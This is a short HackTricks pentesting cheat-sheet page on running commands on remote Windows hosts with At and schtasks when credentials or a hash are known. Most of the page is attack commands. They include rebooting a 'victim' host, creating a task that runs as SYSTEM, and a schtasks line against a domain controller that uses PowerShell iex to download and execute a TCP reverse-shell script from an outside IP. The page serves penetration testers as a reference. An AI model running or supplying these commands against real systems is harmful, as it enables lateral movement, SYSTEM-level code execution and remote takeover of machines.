HackTricks
Searchโ€ฆ
๐Ÿ‘ฝ
Network Services Pentesting
AtExec / SchtasksExec
Support HackTricks and get benefits!

How Does it works

At allows to schedule tasks in hosts where you know username/(password/Hash). So, you can use it to execute commands in other hosts and get the output.
1
At \\victim 11:00:00PM shutdown -r
Copied!
Using schtasks you need first to create the task and then call it:
1
schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
2
schtasks /run /tn <TASK_NAME> /S <VICTIM>
Copied!
1
schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
2
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local
Copied!
More information about the use of schtasks with silver tickets here.
Support HackTricks and get benefits!
Last modified 2mo ago
Copy link